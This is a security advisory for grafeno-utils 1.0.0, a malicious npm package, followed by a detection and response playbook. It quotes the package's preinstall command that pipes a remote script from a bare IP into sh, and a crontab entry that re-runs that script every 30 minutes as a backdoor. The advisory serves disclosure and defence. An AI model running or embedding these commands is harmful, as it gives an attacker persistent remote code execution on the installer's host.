grafeno-utilsnpm
Advisory published Updated
grafeno-utils is a confirmed malicious npm package (MAL-2026-15509) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in grafeno-utils (npm)
What this malware does
The package's package.json preinstall lifecycle hook uses child_process to run curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and piping it to /bin/bash at npm install time. The same preinstall additionally appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh|sh, re-fetching and re-executing that remote script every 30 minutes and providing persistent remote code execution on the installer's host beyond the initial install. The destination is a hardcoded bare IPv4 address with no TLS and no integrity check; the fetched content is unpinned and attacker-mutable. This satisfies both install-time remote code execution and a backdoor persistence mechanism against the installer.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for grafeno-utils (version 1.0.0).
If you installed it — respond
grafeno-utils establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If grafeno-utils was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks grafeno-utils-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.